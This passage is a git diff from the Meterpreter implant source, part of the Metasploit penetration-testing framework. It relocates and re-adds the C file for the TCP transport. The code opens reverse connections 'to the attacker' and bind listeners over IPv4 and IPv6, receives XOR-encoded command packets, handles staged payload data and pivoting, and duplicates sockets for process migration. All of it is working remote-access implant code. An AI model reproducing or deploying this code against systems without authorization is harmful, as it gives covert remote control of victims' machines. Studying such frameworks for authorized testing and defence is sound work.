dprintf("[PACKET] transmit packet failed with return %d at index %d\n", result, idx); - } - else - { - dprintf("[PACKET] Packet sent!"); - } - - lock_release(remote->lock); - - return result; -} - -/*! - * @brief Create a configuration block from the given transport. - * @param transport Transport data to create the configuration from. - * @return config Pointer to the config block to write to. - */ -void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config) -{ - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } -} - -/*! - * @brief Create a migration context that is specific to this transport type. - * @param transport Transport data to create the configuration from. - * @param targetProcessId ID of the process that we will be migrating into. - * @param targetProcessHandle Handle to the target process. - * @param contextSize Buffer that will receive the size of the generated context. - * @param contextBufer Buffer that will receive the generated context. - * @return Indication of success or failure. - */ -static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer) -{ - LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT)); - - if (ctx == NULL) - { - return ERROR_OUTOFMEMORY; - } - - // Duplicate the socket for the target process - if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) - { - free(ctx); - return WSAGetLastError(); - } - - *contextSize = sizeof(TCPMIGRATECONTEXT); - *contextBuffer = (PBYTE)ctx; - - return ERROR_SUCCESS; -} - -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_tcp(Transport* t) -{ - return sizeof(MetsrvTransportTcp); -} - -/*! - * @brief Creates a new TCP transport instance. - * @param config The TCP configuration block. - * @param size Pointer to the size of the parsed config block. - * @return Pointer to the newly configured/created TCP transport instance. - */ -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) -{ - Transport* transport = (Transport*)malloc(sizeof(Transport)); - TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); - - if (size) - { - *size = sizeof(MetsrvTransportTcp); - } - - dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url); - - memset(transport, 0, sizeof(Transport)); - memset(ctx, 0, sizeof(TcpTransportContext)); - - transport->type = METERPRETER_TRANSPORT_TCP; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); - transport->packet_transmit = packet_transmit_tcp; - transport->transport_init = configure_tcp_connection; - transport->transport_destroy = transport_destroy_tcp; - transport->transport_reset = transport_reset_tcp; - transport->server_dispatch = server_dispatch_tcp; - transport->get_handle = transport_get_handle_tcp; - transport->set_handle = transport_set_handle_tcp; - transport->ctx = ctx; - transport->comms_last_packet = current_unix_timestamp(); - transport->get_migrate_context = get_migrate_context_tcp; - transport->get_config_size = transport_get_config_size_tcp; - - return transport; -} - +/*! + * @file server_transport_tcp.c + */ +#include "metsrv.h" +#include +#include "packet_encryption.h" +#include "pivot_packet_dispatch.h" + +// TCP-transport specific migration stub. +typedef struct _TCPMIGRATECONTEXT +{ + COMMONMIGRATECONTEXT common; + WSAPROTOCOL_INFOA info; +} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT; + +// These fields aren't defined unless the SDK version is set to something old enough. +// So we define them here instead of dancing with SDK versions, allowing us to move on +// and still support older versions of Windows. +#ifndef IPPROTO_IPV6 +#define IPPROTO_IPV6 41 +#endif + +/*! + * @brief Perform the reverse_tcp connect. + * @param reverseSocket The existing socket that refers to the remote host connection, closed on failure. + * @param sockAddr The SOCKADDR structure which contains details of the connection. + * @param sockAddrSize The size of the \c sockAddr structure. + * @param retryTotal The number of seconds to continually retry for. + * @param retryWait The number of seconds between each connect attempt. + * @return Indication of success or failure. + */ +static DWORD reverse_tcp_run(SOCKET reverseSocket, SOCKADDR* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait) +{ + DWORD result = ERROR_SUCCESS; + int start = current_unix_timestamp(); + do + { + int retryStart = current_unix_timestamp(); + if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) + { + break; + } + + dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); + sleep(retryWait); + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); + + if (result == SOCKET_ERROR) + { + closesocket(reverseSocket); + } + + return result; +} + +/*! + * @brief Connects to a provided host/port (IPv4), downloads a payload and executes it. + * @param host String containing the name or IP of the host to connect to. + * @param port Port number to connect to. + * @param retryTotal The number of seconds to continually retry for. + * @param retryWait The number of seconds between each connect attempt. + * @return Indication of success or failure. + */ +static DWORD reverse_tcp4(const char* host, u_short port, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) +{ + *socketBuffer = 0; + + // start by attempting to fire up Winsock. + WSADATA wsaData = { 0 }; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + { + return WSAGetLastError(); + } + + // prepare to connect to the attacker + SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + struct hostent* target = gethostbyname(host); + char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list); + + SOCKADDR_IN sock = { 0 }; + sock.sin_addr.s_addr = inet_addr(targetIp); + sock.sin_family = AF_INET; + sock.sin_port = htons(port); + + DWORD result = reverse_tcp_run(socketHandle, (SOCKADDR*)&sock, sizeof(sock), retryTotal, retryWait); + + if (result == ERROR_SUCCESS) + { + *socketBuffer = socketHandle; + } + + return result; +} + +/*! + * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it. + * @param host String containing the name or IP of the host to connect to. + * @param service The target service/port. + * @param scopeId IPv6 scope ID. + * @param retryTotal The number of seconds to continually retry for. + * @param retryWait The number of seconds between each connect attempt. + * @return Indication of success or failure. + */ +static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) +{ + *socketBuffer = 0; + + // start by attempting to fire up Winsock. + WSADATA wsaData = { 0 }; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + { + return WSAGetLastError(); + } + + ADDRINFO hints = { 0 }; + hints.ai_family = AF_INET6; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + LPADDRINFO addresses; + if (getaddrinfo(host, service, &hints, &addresses) != 0) + { + return WSAGetLastError(); + } + + // prepare to connect to the attacker + SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + + if (socketHandle == INVALID_SOCKET) + { + dprintf("[STAGELESS IPV6] failed to connect to attacker"); + return WSAGetLastError(); + } + + DWORD result = ERROR_SUCCESS; + int start = current_unix_timestamp(); + do + { + int retryStart = current_unix_timestamp(); + for (LPADDRINFO address = addresses; address != NULL; address = address->ai_next) + { + ((LPSOCKADDR_IN6)address->ai_addr)->sin6_scope_id = scopeId; + + if ((result = connect(socketHandle, address->ai_addr, (int)address->ai_addrlen)) != SOCKET_ERROR) + { + dprintf("[STAGELESS IPV6] Socket successfully connected"); + *socketBuffer = socketHandle; + freeaddrinfo(addresses); + return ERROR_SUCCESS; + } + } + + dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); + sleep(retryWait); + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); + + closesocket(socketHandle); + freeaddrinfo(addresses); + + return result; +} + +/*! + * @brief Perform the bind_tcp process. + * @param listenSocket The existing listen socket that refers to the remote host connection, closed before returning. + * @param sockAddr The SOCKADDR structure which contains details of the connection. + * @param sockAddrSize The size of the \c sockAddr structure. + * @param acceptSocketBuffer Buffer that will receive the accepted socket handle on success. + * @return Indication of success or failure. + */ +static DWORD bind_tcp_run(SOCKET listenSocket, SOCKADDR* sockAddr, int sockAddrSize, SOCKET* acceptSocketBuffer) +{ + DWORD result = ERROR_SUCCESS; + do + { + if (bind(listenSocket, sockAddr, sockAddrSize) == SOCKET_ERROR) + { + result = WSAGetLastError(); + break; + } + + if (listen(listenSocket, 1) == SOCKET_ERROR) + { + result = WSAGetLastError(); + break; + } + + // Setup, ready to go, now wait for the connection. + SOCKET acceptSocket = accept(listenSocket, NULL, NULL); + + if (acceptSocket == INVALID_SOCKET) + { + result = WSAGetLastError(); + break; + } + + *acceptSocketBuffer = acceptSocket; + } while (0); + + closesocket(listenSocket); + + return result; +} + +/*! + * @brief Listens on a port for an incoming payload request. + * @param port Port number to listen on. + * @param socketBuffer Pointer to the variable that will recieve the socket file descriptor. + * @return Indication of success or failure. + */ +static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) +{ + *socketBuffer = 0; + + // start by attempting to fire up Winsock. + WSADATA wsaData = { 0 }; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + { + return WSAGetLastError(); + } + + // prepare a connection listener for the attacker to connect to, and we + // attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4 + // only if the process fails. + BOOL v4Fallback = FALSE; + SOCKET listenSocket = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + + if (listenSocket == INVALID_SOCKET) + { + dprintf("[BIND] Unable to create IPv6 socket"); + v4Fallback = TRUE; + } + else + { + int no = 0; + if (setsockopt(listenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) + { + // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to + // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common + // so instead, we'll just revert back to v4 and listen on that one address instead. + dprintf("[BIND] Unable to remove IPV6_ONLY option"); + closesocket(listenSocket); + v4Fallback = TRUE; + } + } + + if (v4Fallback) + { + dprintf("[BIND] Falling back to IPV4"); + listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + } + + struct sockaddr_in6 sockAddr = { 0 }; + + if (v4Fallback) + { + struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; + v4Addr->sin_addr.s_addr = htons(INADDR_ANY); + v4Addr->sin_family = AF_INET; + v4Addr->sin_port = htons(port); + } + else + { + sockAddr.sin6_addr = in6addr_any; + sockAddr.sin6_family = AF_INET6; + sockAddr.sin6_port = htons(port); + } + + return bind_tcp_run(listenSocket, (SOCKADDR*)&sockAddr, v4Fallback ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), socketBuffer); +} + +/*! + * @brief Poll a socket for data to recv and block when none available. + * @param remote Pointer to the remote instance. + * @param timeout Amount of time to wait before the poll times out (in milliseconds). + * @return Indication of success or failure. + */ +static LONG server_socket_poll(Remote* remote, long timeout) +{ + TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; + struct timeval tv; + LONG result; + fd_set fdread; + + lock_acquire(remote->lock); + + FD_ZERO(&fdread); + FD_SET(ctx->fd, &fdread); + + tv.tv_sec = 0; + tv.tv_usec = timeout; + + result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); + + lock_release(remote->lock); + + return result; +} + +/*! + * @brief Receive a new packet on the given remote endpoint. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to a pointer that will receive the \c Packet data. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_receive(Remote *remote, Packet **packet) +{ + DWORD headerBytes = 0, payloadBytesLeft = 0, res; + Packet *localPacket = NULL; + PacketHeader header = { 0 }; + LONG bytesRead; + BOOL inHeader = TRUE; + PUCHAR packetBuffer = NULL; + ULONG payloadLength; + TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + dprintf("[TCP PACKET RECEIVE] reading in the header"); + // Read the packet length + while (inHeader) + { + if ((bytesRead = recv(ctx->fd, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0) + { + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + headerBytes += bytesRead; + + if (headerBytes != sizeof(PacketHeader)) + { + continue; + } + + inHeader = FALSE; + } + + if (headerBytes != sizeof(PacketHeader)) + { + dprintf("[TCP] we didn't get enough header bytes"); + goto out; + } + + dprintf("[TCP] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data + // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: + // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it + // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). + if (header.xor_key[3] == 0) + { + // looks like we have a metsrv instance, time to ignore it. + int length = *(int*)&header.xor_key[0]; + dprintf("[TCP] discovered a length header, assuming it's metsrv of length %d", length); + + int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); + char buffer[65535]; + + while (bytesToRead > 0) + { + int bytesRead = recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0); + + if (bytesRead < 0) + { + if (GetLastError() == WSAEWOULDBLOCK) + { + continue; + } + SetLastError(ERROR_NOT_FOUND); + break; + } + + bytesToRead -= bytesRead; + } + + // did something go wrong. + if (bytesToRead > 0) + { + goto out; + } + + // indicate success, but don't return a packet for processing + SetLastError(ERROR_SUCCESS); + *packet = NULL; + } + else + { + vdprintf("[TCP] XOR key looks fine, moving on"); + PacketHeader encodedHeader; + memcpy(&encodedHeader, &header, sizeof(PacketHeader)); + // xor the header data + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + payloadLength = ntohl(header.length) - sizeof(TlvHeader); + vdprintf("[TCP] Payload length is %d", payloadLength); + DWORD packetSize = sizeof(PacketHeader) + payloadLength; + vdprintf("[TCP] total buffer size for the packet is %d", packetSize); + payloadBytesLeft = payloadLength; + + // Allocate the payload + if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + { + dprintf("[TCP] Failed to create the packet buffer"); + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + goto out; + } + dprintf("[TCP] Allocated packet buffer at %p", packetBuffer); + + // Copy the packet header stuff over to the packet + memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); + + LPBYTE payload = packetBuffer + sizeof(PacketHeader); + + // Read the payload + while (payloadBytesLeft > 0) + { + if ((bytesRead = recv(ctx->fd, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, 0)) <= 0) + { + + if (GetLastError() == WSAEWOULDBLOCK) + { + continue; + } + + if (bytesRead < 0) + { + SetLastError(ERROR_NOT_FOUND); + } + goto out; + } + + payloadBytesLeft -= bytesRead; + } + + // Didn't finish? + if (payloadBytesLeft) + { + dprintf("[TCP] Failed to get all the payload bytes"); + goto out; + } + +#ifdef DEBUGTRACE + h = (PUCHAR)&header.session_guid[0]; + dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + { + dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet"); + SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + } + else + { + dprintf("[TCP] Session GUIDs don't match, looking for a pivot"); + PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); + if (pivotCtx != NULL) + { + dprintf("[TCP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); + SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); + + // mark this packet buffer as NULL as the thread will clean it up + packetBuffer = NULL; + *packet = NULL; + } + else + { + dprintf("[TCP] Session GUIDs don't match, can't find pivot!"); + } + } + } + +out: + res = GetLastError(); + + dprintf("[TCP] Freeing stuff up"); + SAFE_FREE(packetBuffer); + + // Cleanup on failure + if (res != ERROR_SUCCESS) + { + SAFE_FREE(localPacket); + } + + lock_release(remote->lock); + dprintf("[TCP] Packet receive finished"); + + return res; +} + +/*! + * @brief The servers main dispatch loop for incoming requests using TCP + * @param remote Pointer to the remote endpoint for this server connection. + * @param dispatchThread Pointer to the main dispatch thread. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread) +{ + Transport* transport = remote->transport; + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet * packet = NULL; + THREAD * cpt = NULL; + + dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote); + + int lastPacket = current_unix_timestamp(); + while (running) + { + if (event_poll(dispatchThread->sigterm, 0)) + { + dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + + result = server_socket_poll(remote, 50000); + if (result > 0) + { + result = packet_receive(remote, &packet); + if (result != ERROR_SUCCESS) + { + dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result); + break; + } + + if (packet == NULL) + { + dprintf("[DISPATCH] No packet received, probably just metsrv being ignored or a pivot packet being handled."); + } + else + { + running = command_handle(remote, packet); + dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + } + + // packet received, reset the timer + lastPacket = current_unix_timestamp(); + } + else if (result == 0) + { + // check if the communication has timed out, or the session has expired, so we should terminate the session + int now = current_unix_timestamp(); + if (now > remote->sess_expiry_end) + { + result = ERROR_SUCCESS; + dprintf("[DISPATCH] session has ended"); + break; + } + else if ((now - lastPacket) > transport->timeouts.comms) + { + result = ERROR_NETWORK_NOT_AVAILABLE; + dprintf("[DISPATCH] communications has timed out"); + break; + } + } + else + { + dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result); + break; + } + } + + dprintf("[DISPATCH] leaving server_dispatch."); + + return result; +} + +/*! + * @brief Get the socket from the transport (if it's TCP). + * @param transport Pointer to the TCP transport containing the socket. + * @return The current transport socket FD, if any, or zero. + */ +static UINT_PTR transport_get_handle_tcp(Transport* transport) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd; + } + + return 0; +} + +/*! + * @brief Set the socket from the transport (if it's TCP). + * @param transport Pointer to the TCP transport containing the socket. + * @param handle The current transport socket FD, if any. + */ +static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + ((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle; + } +} + +/*! + * @brief Destroy the TCP transport. + * @param transport Pointer to the TCP transport to destroy. + */ +static void transport_destroy_tcp(Transport* transport) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + dprintf("[TRANS TCP] Destroying tcp transport for url %S", transport->url); + SAFE_FREE(transport->url); + SAFE_FREE(transport->ctx); + SAFE_FREE(transport); + } +} + +/*! + * @brief Handle cleaning up on the client socket when MSF terminates the connection. + * @param thread Pointer to the thread instance. + * @return EXIT_SUCCESS + */ +DWORD THREADCALL cleanup_socket(THREAD* thread) +{ + char buf[4]; + int result; + SOCKET fd = (SOCKET)thread->parameter1; + + dprintf("[TCP] waiting for disconnect from remote"); + // loop until FD_CLOSE comes through. + while ((result = recv(fd, buf, sizeof(buf), 0)) != 0) + { + if (result <= 0) + { + break; + } + } + + dprintf("[TCP] disconnect received, cleaning up"); + closesocket(fd); + thread_destroy(thread); + + return EXIT_SUCCESS; +} + +/*! + * @brief Reset the given TCP connection. + * @param transport Pointer to the TCP transport to reset. + * @param shuttingDown Indication that the Metsrv instance is terminating completely. + */ +static void transport_reset_tcp(Transport* transport, BOOL shuttingDown) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_TCP) + { + TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; + dprintf("[TCP] Resetting transport from %u", ctx->fd); + if (ctx->fd) + { + if (shuttingDown) + { + dprintf("[TCP] Transport is shutting down"); + // we can terminate right here, given that we're closing up + closesocket(ctx->fd); + } + else + { + // Thanks to the fact that we know we can't rely on Windows to flush the socket nicely + // we can't just call "closesocket" on the socket. If we do, we could lose packets that + // cause MSF to be rather unhappy (and it hangs as a result of not getting a response). + // Instead of this, we create a new thread which monitors the socket handle. We know that + // MSF will terminate that connection when resetting, and so we wait for that termination + // before cleaning up the socket. This is done in another thread so that functionality + // can continue. + dprintf("[TCP] It should now be safe to close the socket."); + THREAD* t = thread_create(cleanup_socket, (LPVOID)ctx->fd, NULL, NULL); + thread_run(t); + } + } + ctx->fd = 0; + dprintf("[TCP] Transport 0x%p is now reset to %u", transport, ctx->fd); + } +} + +/*! + * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL configure_tcp_connection(Transport* transport) +{ + DWORD result = ERROR_SUCCESS; + size_t charsConverted; + char asciiUrl[512]; + TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; + + // check if comms is already open via a staged payload + if (ctx->fd) + { + dprintf("[TCP] Connection already running on %u", ctx->fd); + } + else + { + // From here, we need to establish comms a-la stageless. + wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), transport->url, sizeof(asciiUrl)-1); + + dprintf("[TCP CONFIGURE] Url: %S", transport->url); + + //transport->start_time = current_unix_timestamp(); + transport->comms_last_packet = current_unix_timestamp(); + + if (strncmp(asciiUrl, "tcp", 3) == 0) + { + char* pHost = strstr(asciiUrl, "//") + 2; + char* pPort = strrchr(pHost, ':') + 1; + + // check if we're using IPv6 + if (asciiUrl[3] == '6') + { + char* pScopeId = strrchr(pHost, '?') + 1; + *(pScopeId - 1) = '\0'; + *(pPort - 1) = '\0'; + dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId); + result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total, + transport->timeouts.retry_wait, &ctx->fd); + } + else + { + u_short usPort = (u_short)atoi(pPort); + + // if no host is specified, then we can assume that this is a bind payload, otherwise + // we'll assume that the payload is a reverse_tcp one and the given host is valid + if (*pHost == ':') + { + dprintf("[STAGELESS] IPv4 bind port %s", pPort); + result = bind_tcp(usPort, &ctx->fd); + } + else + { + *(pPort - 1) = '\0'; + dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort); + result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total, + transport->timeouts.retry_wait, &ctx->fd); + } + } + } + } + + if (result != ERROR_SUCCESS) + { + dprintf("[SERVER] Something went wrong %u", result); + return FALSE; + } + + dprintf("[SERVER] Looking good, FORWARD!"); + + // Do not allow the file descriptor to be inherited by child processes + SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0); + + transport->comms_last_packet = current_unix_timestamp(); + + return TRUE; +} + +/*! + * @brief Transmit a packet via TCP. + * @param remote Pointer to the \c Remote instance. + * @param rawPacket Pointer to the raw packet bytes to send. + * @param rawPacketLength Length of the raw packet data. + * @return An indication of the result of processing the transmission request. + */ +DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) +{ + TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; + DWORD result = ERROR_SUCCESS; + DWORD idx = 0; + + lock_acquire(remote->lock); + + while (idx < rawPacketLength) + { + result = send(ctx->fd, rawPacket + idx, rawPacketLength - idx, 0); + + if (result < 0) + { + dprintf("[PACKET] send failed: %d", result); + break; + } + + idx += result; + } + + result = GetLastError(); + + if (result != ERROR_SUCCESS) + { + dprintf("[PACKET] transmit packet failed with return %d at index %d\n", result, idx); + } + else + { + dprintf("[PACKET] Packet sent!"); + } + + lock_release(remote->lock); + + return result; +} + +/*! + * @brief Create a configuration block from the given transport. + * @param transport Transport data to create the configuration from. + * @return config Pointer to the config block to write to. + */ +void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config) +{ + if (transport && config) + { + config->common.comms_timeout = transport->timeouts.comms; + config->common.retry_total = transport->timeouts.retry_total; + config->common.retry_wait = transport->timeouts.retry_wait; + wcsncpy(config->common.url, transport->url, URL_SIZE); + } +} + +/*! + * @brief Create a migration context that is specific to this transport type. + * @param transport Transport data to create the configuration from. + * @param targetProcessId ID of the process that we will be migrating into. + * @param targetProcessHandle Handle to the target process. + * @param contextSize Buffer that will receive the size of the generated context. + * @param contextBufer Buffer that will receive the generated context. + * @return Indication of success or failure. + */ +static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer) +{ + LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT)); + + if (ctx == NULL) + { + return ERROR_OUTOFMEMORY; + } + + // Duplicate the socket for the target process + if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) + { + free(ctx); + return WSAGetLastError(); + } + + *contextSize = sizeof(TCPMIGRATECONTEXT); + *contextBuffer = (PBYTE)ctx; + + return ERROR_SUCCESS; +} + +/*! + * @brief Gets the size of the memory space required to store the configuration for this transport. + * @param t Pointer to the transport. + * @return Size, in bytes of the required memory block. + */ +static DWORD transport_get_config_size_tcp(Transport* t) +{ + return sizeof(MetsrvTransportTcp); +} + +/*! + * @brief Creates a new TCP transport instance. + * @param config The TCP configuration block. + * @param size Pointer to the size of the parsed config block. + * @return Pointer to the newly configured/created TCP transport instance. + */ +Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) +{ + Transport* transport = (Transport*)malloc(sizeof(Transport)); + TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); + + if (size) + { + *size = sizeof(MetsrvTransportTcp); + } + + dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url); + + memset(transport, 0, sizeof(Transport)); + memset(ctx, 0, sizeof(TcpTransportContext)); + + transport->type = METERPRETER_TRANSPORT_TCP; + transport->timeouts.comms = config->common.comms_timeout; + transport->timeouts.retry_total = config->common.retry_total; + transport->timeouts.retry_wait = config->common.retry_wait; + transport->url = _wcsdup(config->common.url); + transport->packet_transmit = packet_transmit_tcp; + transport->transport_init = configure_tcp_connection; + transport->transport_destroy = transport_destroy_tcp; + transport->transport_reset = transport_reset_tcp; + transport->server_dispatch = server_dispatch_tcp; + transport->get_handle = transport_get_handle_tcp; + transport->set_handle = transport_set_handle_tcp; + transport->ctx = ctx; + transport->comms_last_packet = current_unix_timestamp(); + transport->get_migrate_context = get_migrate_context_tcp; + transport->get_config_size = transport_get_config_size_tcp; + + return transport; +} + diff --git a/c/meterpreter/source/server/win/server_transport_tcp.h b/c/meterpreter/source/metsrv/server_transport_tcp.h old mode 100755 new mode 100644 similarity index 63% rename from c/meterpreter/source/server/win/server_transport_tcp.h rename to c/meterpreter/source/metsrv/server_transport_tcp.h index d8b4804c..d1671dfa --- a/c/meterpreter/source/server/win/server_transport_tcp.h +++ b/c/meterpreter/source/metsrv/server_transport_tcp.h @@ -1,7 +1,7 @@ -#ifndef _METERPRETER_SERVER_TRANSPORT_TCP -#define _METERPRETER_SERVER_TRANSPORT_TCP +#ifndef _METERPRETER_METSRV_TRANSPORT_TCP +#define _METERPRETER_METSRV_TRANSPORT_TCP void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config); -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size); +Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size); #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_winhttp.c rename to c/meterpreter/source/metsrv/server_transport_winhttp.c index d2491608..97a8b3ad --- a/c/meterpreter/source/server/win/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -1,1018 +1,1017 @@ -/*! - 